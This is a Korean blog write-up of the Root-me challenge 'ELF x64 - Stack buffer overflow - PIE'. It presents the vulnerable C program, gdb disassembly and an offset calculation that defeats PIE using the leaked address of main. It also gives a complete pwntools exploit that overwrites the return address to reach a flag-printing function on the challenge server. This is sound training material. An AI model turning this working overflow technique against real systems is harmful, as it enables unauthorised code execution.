[App-System] ELF x64 - Stack buffer overflow - PIE

2022. 7. 9. 09:36·Wargame/Root me
728x90
반응형

1. intro

2. code 및 분석

2.1.  code

#include <stdio.h>
#include <stdlib.h>
 
// Instructions //
// gcc -o  chall chall.c -Wl,-z,norelro -fno-stack-protector (on the app-systeme-ch61 server for instance, but the goal is to enable NX and PIE)
 
 
void Winner() {
    printf("Access granted!\n");
    FILE *fp;
    int c;
    fp = fopen(".passwd", "r");
    if (fp == NULL)
    {
        perror("Error while opening the file.\n");
        exit(EXIT_FAILURE);
    }
    else {
        printf("Super secret flag: ");
        while ((c = getc(fp)) != EOF)
            putchar(c);
        fclose(fp);
    }
}
 
int Loser() {
    printf("Access denied!\n");
    return 0;
}
 
int main() {
    char key[30];
    printf("I'm an unbreakable safe, so you need a key to enter!\n");
     printf("Hint, main(): %p\n",main);
     printf("Key: ");
     scanf("%s", &key);
     Loser();
    return 0;
}

2.2. 분석

main 함수에서 값을 받아들인 뒤 loser 함수를 실행하고 종료한다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

scanf 함수에서 입력받는 길이를 확인하지 않아 key 변수의 크기를 넘어서 입력 가능한 기본적인 stack overflow 문제이다.

3.2. 공격 준비

ASLR이 걸려있어서 함수들의 시작 주소는 변경되어도 각 함수 간의 offset 은 변경되지 않는다는 점을 이용할 수 있을 것 같다.

우선 각 함수간의 offset을 gdb로 확인해보면 아래와 같으며,
프로그램 실행 전에는 시작 주소로부터의 offset만을 주소로 가지고 있다.

gef➤  disas Winner 
Dump of assembler code for function Winner:
   0x000000000000087a <+0>:     push   %rbp
   0x000000000000087b <+1>:     mov    %rsp,%rbp
   0x000000000000087e <+4>:     sub    $0x10,%rsp
   0x0000000000000882 <+8>:     lea    0x17f(%rip),%rdi        # 0xa08
   0x0000000000000889 <+15>:    callq  0x6e0 <puts@plt>
   0x000000000000088e <+20>:    lea    0x183(%rip),%rsi        # 0xa18
   0x0000000000000895 <+27>:    lea    0x17e(%rip),%rdi        # 0xa1a
   0x000000000000089c <+34>:    callq  0x720 <fopen@plt>
   0x00000000000008a1 <+39>:    mov    %rax,-0x8(%rbp)
   0x00000000000008a5 <+43>:    cmpq   $0x0,-0x8(%rbp)
   0x00000000000008aa <+48>:    jne    0x8c2 <Winner+72>
   0x00000000000008ac <+50>:    lea    0x175(%rip),%rdi        # 0xa28
   0x00000000000008b3 <+57>:    callq  0x730 <perror@plt>
   0x00000000000008b8 <+62>:    mov    $0x1,%edi
   0x00000000000008bd <+67>:    callq  0x750 <exit@plt>
   0x00000000000008c2 <+72>:    lea    0x17e(%rip),%rdi        # 0xa47
   0x00000000000008c9 <+79>:    mov    $0x0,%eax
   0x00000000000008ce <+84>:    callq  0x700 <printf@plt>
   0x00000000000008d3 <+89>:    jmp    0x8df <Winner+101>
   0x00000000000008d5 <+91>:    mov    -0xc(%rbp),%eax
   0x00000000000008d8 <+94>:    mov    %eax,%edi
   0x00000000000008da <+96>:    callq  0x6d0 <putchar@plt>
   0x00000000000008df <+101>:   mov    -0x8(%rbp),%rax
   0x00000000000008e3 <+105>:   mov    %rax,%rdi
   0x00000000000008e6 <+108>:   callq  0x710 <_IO_getc@plt>
   0x00000000000008eb <+113>:   mov    %eax,-0xc(%rbp)
   0x00000000000008ee <+116>:   cmpl   $0xffffffff,-0xc(%rbp)
   0x00000000000008f2 <+120>:   jne    0x8d5 <Winner+91>
   0x00000000000008f4 <+122>:   mov    -0x8(%rbp),%rax
   0x00000000000008f8 <+126>:   mov    %rax,%rdi
   0x00000000000008fb <+129>:   callq  0x6f0 <fclose@plt>
   0x0000000000000900 <+134>:   nop
   0x0000000000000901 <+135>:   leaveq 
   0x0000000000000902 <+136>:   retq   
End of assembler dump.
gef➤  disas Loser 
Dump of assembler code for function Loser:
   0x0000000000000903 <+0>:     push   %rbp
   0x0000000000000904 <+1>:     mov    %rsp,%rbp
   0x0000000000000907 <+4>:     lea    0x14d(%rip),%rdi        # 0xa5b
   0x000000000000090e <+11>:    callq  0x6e0 <puts@plt>
   0x0000000000000913 <+16>:    mov    $0x0,%eax
   0x0000000000000918 <+21>:    pop    %rbp
   0x0000000000000919 <+22>:    retq   
End of assembler dump.
gef➤  disas main
Dump of assembler code for function main:
   0x000000000000091a <+0>:     push   %rbp
   0x000000000000091b <+1>:     mov    %rsp,%rbp
   0x000000000000091e <+4>:     sub    $0x20,%rsp
   0x0000000000000922 <+8>:     lea    0x147(%rip),%rdi        # 0xa70
   0x0000000000000929 <+15>:    callq  0x6e0 <puts@plt>
   0x000000000000092e <+20>:    lea    -0x1b(%rip),%rsi        # 0x91a <main>
   0x0000000000000935 <+27>:    lea    0x169(%rip),%rdi        # 0xaa5
   0x000000000000093c <+34>:    mov    $0x0,%eax
   0x0000000000000941 <+39>:    callq  0x700 <printf@plt>
   0x0000000000000946 <+44>:    lea    0x16a(%rip),%rdi        # 0xab7
   0x000000000000094d <+51>:    mov    $0x0,%eax
   0x0000000000000952 <+56>:    callq  0x700 <printf@plt>
   0x0000000000000957 <+61>:    lea    -0x20(%rbp),%rax
   0x000000000000095b <+65>:    mov    %rax,%rsi
   0x000000000000095e <+68>:    lea    0x158(%rip),%rdi        # 0xabd
   0x0000000000000965 <+75>:    mov    $0x0,%eax
   0x000000000000096a <+80>:    callq  0x740 <__isoc99_scanf@plt>
   0x000000000000096f <+85>:    mov    $0x0,%eax
   0x0000000000000974 <+90>:    callq  0x903 <Loser>
   0x0000000000000979 <+95>:    mov    $0x0,%eax
   0x000000000000097e <+100>:   leaveq 
   0x000000000000097f <+101>:   retq   
End of assembler dump.


즉, 코드에서 main 함수의 주소를 출력해주는데 이를 기준으로 offset 만 더하거나 빼주면 원하는 함수의 주소를 찾을 수 있게 되는 것이다.

그리고 key 변수의 크기는 30 byte로 선언되어있지만, 실제로는 어셈블러 코드 main+4와 같이 32 byte가 할당되었으며, rsp 8 byte를 고려하면 총 40 byte 이후에 rip의 주소가 오는 것을 예상할 수 있다.

그러므로 페이로드는 dummy 40 byte + Winner address 8 byte가 된다.

해당 파일을 실행하면 출력되는 메시지는 아래와 같다.

app-systeme-ch83@challenge03:~$ ./ch83
I'm an unbreakable safe, so you need a key to enter!
Hint, main(): 0x55e4434a891a
Key: aaaa
Access denied!

 

4. exploit

from pwn import *


offset=0x91a-0x87a

pay=b''
pay+=b'A'*40

s = ssh(user='app-systeme-ch83',host='challenge03.root-me.org',port=2223,password='app-systeme-ch83')
p=s.process('./ch83')
p.recvuntil(b'main(): 0x')

mainadd=(p.recv(12))

winadd=p64(int(mainadd,16)-int(offset))

pay+=winadd

p.recvuntil(b': ')
p.sendline(pay)
print (p.recv(1024).decode())
print (p.recv(1024).decode())

 

┌──(kali㉿kali)-[~]
└─$ python a.py
[+] Connecting to challenge03.root-me.org on port 2223: Done
[*] app-systeme-ch83@challenge03.root-me.org:
    Distro    Ubuntu 18.04
    OS:       linux
    Arch:     amd64
    Version:  4.15.0
    ASLR:     Enabled
[+] Starting remote process bytearray(b'./ch83') on challenge03.root-me.org: pid 8138
Access denied!
Access granted!

Super secret flag: -------------- #플래그는 삭제


아... 문제 푸는 것보다 코딩이 더 어렵다 ㅠㅠ

728x90
반응형

'Wargame > Root me' 카테고리의 다른 글

[App-System] ELF x86 - Stack buffer overflow basic 4  (0) 2022.07.11
[App-System] ELF x64 - Double free  (0) 2022.07.09
[App-System] ELF x86 - BSS buffer overflow  (0) 2022.07.08
[App-System] ELF x86 - Use After Free - basic  (0) 2022.07.08
[App-System] ELF x86 - Stack buffer overflow basic 3  (0) 2022.07.07
'Wargame/Root me' 카테고리의 다른 글
  • [App-System] ELF x86 - Stack buffer overflow basic 4
  • [App-System] ELF x64 - Double free
  • [App-System] ELF x86 - BSS buffer overflow
  • [App-System] ELF x86 - Use After Free - basic
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (559)
      • To do list (0)
        • Doing (1)
        • Complete (6)
      • Diary (37)
      • Tips & theory (77)
      • Kernel Exploit (28)
        • Theory (16)
        • Exercise (5)
      • File Structure (6)
      • Wargame (352)
        • Dreamhack (183)
        • pwn.college (37)
        • pwnable.tw (0)
        • pwnable.kr (15)
        • Lord of Sqlinjection (4)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (50)
        • Solved (48)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    pwnable.kr
    CANARY
    libc
    pwntools
    docker
    la ctf
    root
    Me
    x64
    32bit
    ROOT ME
    heap
    dreamhack
    exploit education
    FSB
    vtable
    BOF
    lob
    Format String Bug
    phoenix
    hackerschool
    rop
    tcache
    x86
    root-me
    Buffer Overflow
    _IO_FILE
    RTL
    cryptohack
    64bit
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
[App-System] ELF x64 - Stack buffer overflow - PIE
상단으로

티스토리툴바